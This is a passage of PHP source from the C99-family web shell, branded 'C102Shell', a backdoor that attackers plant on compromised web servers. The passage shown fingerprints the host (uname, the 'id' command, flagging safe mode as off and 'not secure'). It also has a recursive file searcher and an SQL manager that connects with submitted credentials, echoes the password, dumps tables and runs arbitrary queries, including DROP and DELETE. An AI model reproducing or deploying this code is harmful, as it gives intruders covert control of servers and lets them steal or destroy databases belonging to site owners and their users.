 728    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); 
 729    if (!$res) {$ret["err"][] = mysql_smarterror();} 
 730    else 
 731    { 
 732     $row = mysql_fetch_row($res); 
 733     $out .= $row["1"].";\n\n"; 
 734     // recieve table variables 
 735     $res = mysql_query("SELECT * FROM `$tab`", $sock); 
 736     if (mysql_num_rows($res) > 0) 
 737     { 
 738      while ($row = mysql_fetch_assoc($res)) 
 739      { 
 740       $keys = implode("`, `", array_keys($row)); 
 741       $values = array_values($row); 
 742       foreach($values as $k=>$v) {$values[$k] = addslashes($v);} 
 743       $values = implode("', '", $values); 
 744       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; 
 745       $out .= $sql; 
 746      } 
 747     } 
 748    } 
 749   } 
 750  } 
 751  $out .= "#---------------------------------------------------------------------------------\n\n"; 
 752  if ($file) 
 753  { 
 754   $fp = fopen($file, "w"); 
 755   if (!$fp) {$ret["err"][] = 2;} 
 756   else 
 757   { 
 758    fwrite ($fp, $out); 
 759    fclose ($fp); 
 760   } 
 761  } 
 762  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} 
 763  return $out; 
 764 } 
 765 } 
 766 if (!function_exists("mysql_buildwhere")) 
 767 { 
 768 function mysql_buildwhere($array,$sep=" and",$functs=array()) 
 769 { 
 770  if (!is_array($array)) {$array = array();} 
 771  $result = ""; 
 772  foreach($array as $k=>$v) 
 773  { 
 774   $value = ""; 
 775   if (!empty($functs[$k])) {$value .= $functs[$k]."(";} 
 776   $value .= "'".addslashes($v)."'"; 
 777   if (!empty($functs[$k])) {$value .= ")";} 
 778   $result .= "`".$k."` = ".$value.$sep; 
 779  } 
 780  $result = substr($result,0,strlen($result)-strlen($sep)); 
 781  return $result; 
 782 } 
 783 } 
 784 if (!function_exists("mysql_fetch_all")) 
 785 { 
 786 function mysql_fetch_all($query,$sock) 
 787 { 
 788  if ($sock) {$result = mysql_query($query,$sock);} 
 789  else {$result = mysql_query($query);} 
 790  $array = array(); 
 791  while ($row = mysql_fetch_array($result)) {$array[] = $row;} 
 792  mysql_free_result($result); 
 793  return $array; 
 794 } 
 795 } 
 796 if (!function_exists("mysql_smarterror")) 
 797 { 
 798 function mysql_smarterror($type,$sock) 
 799 { 
 800  if ($sock) {$error = mysql_error($sock);} 
 801  else {$error = mysql_error();} 
 802  $error = htmlspecialchars($error); 
 803  return $error; 
 804 } 
 805 } 
 806 if (!function_exists("mysql_query_form")) 
 807 { 
 808 function mysql_query_form() 
 809 { 
 810  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; 
 811  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} 
 812  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} 
 813  if ((!$submit) or ($sql_act)) 
 814  { 
 815   echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; 
 816   if ($tbl_struct) 
 817   { 
 818    echo "<td valign=\"top\"><b>Fields:</b><br>"; 
 819    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "? <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} 
 820    echo "</td></tr></table>"; 
 821   } 
 822  } 
 823  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} 
 824 } 
 825 } 
 826 if (!function_exists("mysql_create_db")) 
 827 { 
 828 function mysql_create_db($db,$sock="") 
 829 { 
 830  $sql = "CREATE DATABASE `".addslashes($db)."`;"; 
 831  if ($sock) {return mysql_query($sql,$sock);} 
 832  else {return mysql_query($sql);} 
 833 } 
 834 } 
 835 if (!function_exists("mysql_query_parse")) 
 836 { 
 837 function mysql_query_parse($query) 
 838 { 
 839  $query = trim($query); 
 840  $arr = explode (" ",$query); 
 841  /*array array() 
 842  { 
 843   "METHOD"=>array(output_type), 
 844   "METHOD1"... 
 845   ... 
 846  } 
 847  if output_type == 0, no output, 
 848  if output_type == 1, no output if no error 
 849  if output_type == 2, output without control-buttons 
 850  if output_type == 3, output with control-buttons 
 851  */ 
 852  $types = array( 
 853   "SELECT"=>array(3,1), 
 854   "SHOW"=>array(2,1), 
 855   "DELETE"=>array(1), 
 856   "DROP"=>array(1) 
 857  ); 
 858  $result = array(); 
 859  $op = strtoupper($arr[0]); 
 860  if (is_array($types[$op])) 
 861  { 
 862   $result["propertions"] = $types[$op]; 
 863   $result["query"]  = $query; 
 864   if ($types[$op] == 2) 
 865   { 
 866    foreach($arr as $k=>$v) 
 867    { 
 868     if (strtoupper($v) == "LIMIT") 
 869     { 
 870      $result["limit"] = $arr[$k+1]; 
 871      $result["limit"] = explode(",",$result["limit"]); 
 872      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} 
 873      unset($arr[$k],$arr[$k+1]); 
 874     } 
 875    } 
 876   } 
 877  } 
 878  else {return FALSE;} 
 879 } 
 880 } 
 881 if (!function_exists("c99fsearch")) 
 882 { 
 883 function c99fsearch($d) 
 884 { 
 885  global $found; 
 886  global $found_d; 
 887  global $found_f; 
 888  global $search_i_f; 
 889  global $search_i_d; 
 890  global $a; 
 891  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} 
 892  $h = opendir($d); 
 893  while (($f = readdir($h)) !== FALSE) 
 894  { 
 895   if($f != "." && $f != "..") 
 896   { 
 897    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); 
 898    if (is_dir($d.$f)) 
 899    { 
 900     $search_i_d++; 
 901     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} 
 902     if (!is_link($d.$f)) {c99fsearch($d.$f);} 
 903    } 
 904    else 
 905    { 
 906     $search_i_f++; 
 907     if ($bool) 
 908     { 
 909      if (!empty($a["text"])) 
 910      { 
 911       $r = @file_get_contents($d.$f); 
 912       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} 
 913       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} 
 914       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} 
 915       else {$bool = strpos(" ".$r,$a["text"],1);} 
 916       if ($a["text_not"]) {$bool = !$bool;} 
 917       if ($bool) {$found[] = $d.$f; $found_f++;} 
 918      } 
 919      else {$found[] = $d.$f; $found_f++;} 
 920     } 
 921    } 
 922   } 
 923  } 
 924  closedir($h); 
 925 } 
 926 } 
 927 if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} 
 928 //Sending headers 
 929 @ob_start(); 
 930 @ob_implicit_flush(0); 
 931 function onphpshutdown() 
 932 { 
 933  global $gzipencode,$ft; 
 934  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) 
 935  { 
 936   $v = @ob_get_contents(); 
 937   @ob_end_clean(); 
 938   @ob_start("ob_gzHandler"); 
 939   echo $v; 
 940   @ob_end_flush(); 
 941  } 
 942 } 
 943 function c99shexit() 
 944 { 
 945  onphpshutdown(); 
 946  exit; 
 947 } 
 948 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); 
 949 header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); 
 950 header("Cache-Control: no-store, no-cache, must-revalidate"); 
 951 header("Cache-Control: post-check=0, pre-check=0", FALSE); 
 952 header("Pragma: no-cache"); 
 953 if (empty($tmpdir)) 
 954 { 
 955  $tmpdir = ini_get("upload_tmp_dir"); 
 956  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} 
 957 } 
 958 $tmpdir = realpath($tmpdir); 
 959 $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); 
 960 if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} 
 961 if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} 
 962 else {$tmpdir_logs = realpath($tmpdir_logs);} 
 963 if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") 
 964 { 
 965  $safemode = TRUE; 
 966  $hsafemode = "<font color=red>ON (secure)</font>"; 
 967 } 
 968 else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} 
 969 $v = @ini_get("open_basedir"); 
 970 if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} 
 971 else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} 
 972 $sort = htmlspecialchars($sort); 
 973 if (empty($sort)) {$sort = $sort_default;} 
 974 $sort[1] = strtolower($sort[1]); 
 975 $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); 
 976 if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} 
 977 $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); 
 978 @ini_set("highlight.bg",$highlight_bg); //FFFFFF 
 979 @ini_set("highlight.comment",$highlight_comment); //#FF8000 
 980 @ini_set("highlight.default",$highlight_default); //#0000BB 
 981 @ini_set("highlight.html",$highlight_html); //#000000 
 982 @ini_set("highlight.keyword",$highlight_keyword); //#007700 
 983 @ini_set("highlight.string",$highlight_string); //#DD0000 
 984 if (!is_array($actbox)) {$actbox = array();} 
 985 $dspact = $act = htmlspecialchars($act); 
 986 $disp_fullpath = $ls_arr = $notls = null; 
 987 $ud = urlencode($d); 
 988 ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C102Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php 
 989 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); 
 990 if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} 
 991 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); 
 992 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} 
 993 $d = str_replace("\\\\","\\",$d); 
 994 $dispd = htmlspecialchars($d); 
 995 $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); 
 996 $i = 0; 
 997 foreach($pd as $b) 
 998 { 
 999  $t = ""; 
1000  $j = 0; 
1001  foreach ($e as $r) 
1002  { 
1003   $t.= $r.DIRECTORY_SEPARATOR; 
1004   if ($j == $i) {break;} 
1005   $j++; 
1006  } 
1007  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; 
1008  $i++; 
1009 } 
1010 echo "&nbsp;&nbsp;&nbsp;"; 
1011 if (is_writable($d)) 
1012 { 
1013  $wd = TRUE; 
1014  $wdt = "<font color=green>[ ok ]</font>"; 
1015  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; 
1016 } 
1017 else 
1018 { 
1019  $wd = FALSE; 
1020  $wdt = "<font color=red>[ Read-Only ]</font>"; 
1021  echo "<b>".view_perms_color($d)."</b>"; 
1022 } 
1023 if (is_callable("disk_free_space")) 
1024 { 
1025  $free = disk_free_space($d); 
1026  $total = disk_total_space($d); 
1027  if ($free === FALSE) {$free = 0;} 
1028  if ($total === FALSE) {$total = 0;} 
1029  if ($free < 0) {$free = 0;} 
1030  if ($total < 0) {$total = 0;} 
1031  $used = $total-$free; 
1032  $free_percent = round(100/($total/$free),2); 
1033  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; 
1034 } 
1035 echo "<br>"; 
1036 $letters = ""; 
1037 if ($win) 
1038 { 
1039  $v = explode("\\",$d); 
1040  $v = $v[0]; 
1041  foreach (range("a","z") as $letter) 
1042  { 
1043   $bool = $isdiskette = in_array($letter,$safemode_diskettes); 
1044   if (!$bool) {$bool = is_dir($letter.":\\");} 
1045   if ($bool) 
1046   { 
1047    $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; 
1048    if ($letter.":" != $v) {$letters .= $letter;} 
1049    else {$letters .= "<font color=green>".$letter."</font>";} 
1050    $letters .= " ]</a> "; 
1051   } 
1052  } 
1053  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} 
1054 } 
1055 if (count($quicklaunch) > 0) 
1056 { 
1057  foreach($quicklaunch as $item) 
1058  { 
1059   $item[1] = str_replace("%d",urlencode($d),$item[1]); 
1060   $item[1] = str_replace("%sort",$sort,$item[1]); 
1061   $v = realpath($d.".."); 
1062   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} 
1063   $item[1] = str_replace("%upd",urlencode($v),$item[1]); 
1064   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; 
1065  } 
1066 } 
1067 echo "</p></td></tr></table><br>"; 
1068 if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} 
1069 echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; 
1070 if ($act == "") {$act = $dspact = "ls";} 
1071 if ($act == "sql") 
1072 { 
1073  $sql_surl = $surl."act=sql"; 
1074  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} 
1075  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} 
1076  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} 
1077  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} 
1078  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} 
1079  $sql_surl .= "&"; 
1080  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php 
1081  if ($sql_server) 
1082  { 
1083   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); 
1084   $err = mysql_smarterror(); 
1085   @mysql_select_db($sql_db,$sql_sock); 
1086   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} 
1087  } 
1088  else {$sql_sock = FALSE;} 
1089  echo "<b>SQL Manager:</b><br>"; 
1090  if (!$sql_sock) 
1091  { 
1092   if (!$sql_server) {echo "NO CONNECTION";} 
1093   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} 
1094  } 
1095  else 
1096  { 
1097   $sqlquicklaunch = array(); 
1098   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); 
1099   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); 
1100   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); 
1101   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); 
1102   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); 
1103   $sqlquicklaunch[] = array("Logout",$surl."act=sql"); 
1104   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; 
1105   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} 
1106   echo "</center>"; 
1107  } 
1108  echo "</td></tr><tr>"; 
1109  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } 
1110  else 
1111  { 
1112   //Start left panel 
1113   if (!empty($sql_db)) 
1114   { 
1115    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php 
1116    $result = mysql_list_tables($sql_db); 
1117    if (!$result) {echo mysql_smarterror();} 
1118    else 
1119    { 
1120     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; 
1121     $c = 0; 
1122     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>?&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} 
1123     if (!$c) {echo "No tables found in database.";} 
1124    } 
1125   } 
1126   else 
1127   { 
1128    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php 
1129    $result = mysql_list_dbs($sql_sock); 
1130    if (!$result) {echo mysql_smarterror();} 
1131    else 
1132    { 
1133     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php 
1134     $c = 0; 
1135     $dbs = ""; 
1136     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} 
1137     echo "<option value=\"\">Databases (".$c.")</option>"; 
1138     echo $dbs; 
1139    } 
1140    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php 
1141   } 
1142   //End left panel 
1143   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; 
1144   //Start center panel 
1145   $diplay = TRUE; 
1146   if ($sql_db) 
1147   { 
1148    if (!is_numeric($c)) {$c = 0;} 
1149    if ($c == 0) {$c = "no";} 
1150    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; 
1151    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} 
1152    echo "</b></center>"; 
1153    $acts = array("","dump"); 
1154    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} 
1155    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} 
1156    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} 
1157    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} 
1158    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} 
1159    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} 
1160    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} 
1161    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} 
1162    elseif ($sql_tbl_act == "insert") 
1163    { 
1164     if ($sql_tbl_insert_radio == 1) 
1165     { 
1166      $keys = ""; 
1167      $akeys = array_keys($sql_tbl_insert); 
1168      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} 
1169      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} 
1170      $values = ""; 
1171      $i = 0; 
1172      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} 
1173      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} 
1174      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; 
1175      $sql_act = "query"; 
1176      $sql_tbl_act = "browse"; 
1177     } 
1178     elseif ($sql_tbl_insert_radio == 2) 
1179     { 
1180      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); 
1181      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; 
1182      $result = mysql_query($sql_query) or print(mysql_smarterror()); 
1183      $result = mysql_fetch_array($result, MYSQL_ASSOC); 
1184      $sql_act = "query"; 
1185      $sql_tbl_act = "browse"; 
1186     } 
1187    } 
1188    if ($sql_act == "query") 
1189    { 
1190     echo "<hr size=\"1\" noshade>"; 
1191     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} 
1192     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} 
1193     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} 
1194    } 
1195    if (in_array($sql_act,$acts)) 
1196    { 
